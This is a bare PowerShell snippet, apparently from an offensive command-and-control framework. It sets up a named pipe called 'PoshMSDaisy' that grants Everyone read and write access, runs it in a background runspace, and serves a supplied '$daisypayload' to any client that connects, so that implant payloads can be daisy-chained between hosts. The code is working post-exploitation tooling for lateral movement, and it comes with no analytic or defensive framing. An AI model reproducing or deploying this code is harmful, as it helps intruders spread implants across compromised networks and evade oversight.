$scriptblock = { param ($Payload) $PipeName = "PoshMSDaisy" $p = [System.IO.Directory]::GetFiles("\\.\\pipe\\") $start = $true foreach ($i in $p) { if ($i -like "*PoshMSDaisy") { $start = $false } } while ($start) { add-Type -assembly "System.Core" $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) $PipeSecurity.AddAccessRule($AccessRule) $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) $pipe.WaitForConnection(); $pipeReader = new-object System.IO.StreamReader($pipe) $pipeWriter = new-object System.IO.StreamWriter($pipe) $pipeWriter.AutoFlush = $true $pipeWriter.WriteLine($Payload); $pipeReader.Dispose(); $pipe.Dispose(); } exit } add-Type -assembly "System.Core" $MaxThreads = 5 $RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $MaxThreads) $RunspacePool.Open() $Jobs = @() $Job = [powershell]::Create().AddScript($ScriptBlock).AddArgument($daisypayload) $Job.RunspacePool = $RunspacePool $Job.BeginInvoke() | Out-Null $pi = new-object System.IO.Pipes.NamedPipeClientStream(".", "PoshMSDaisy");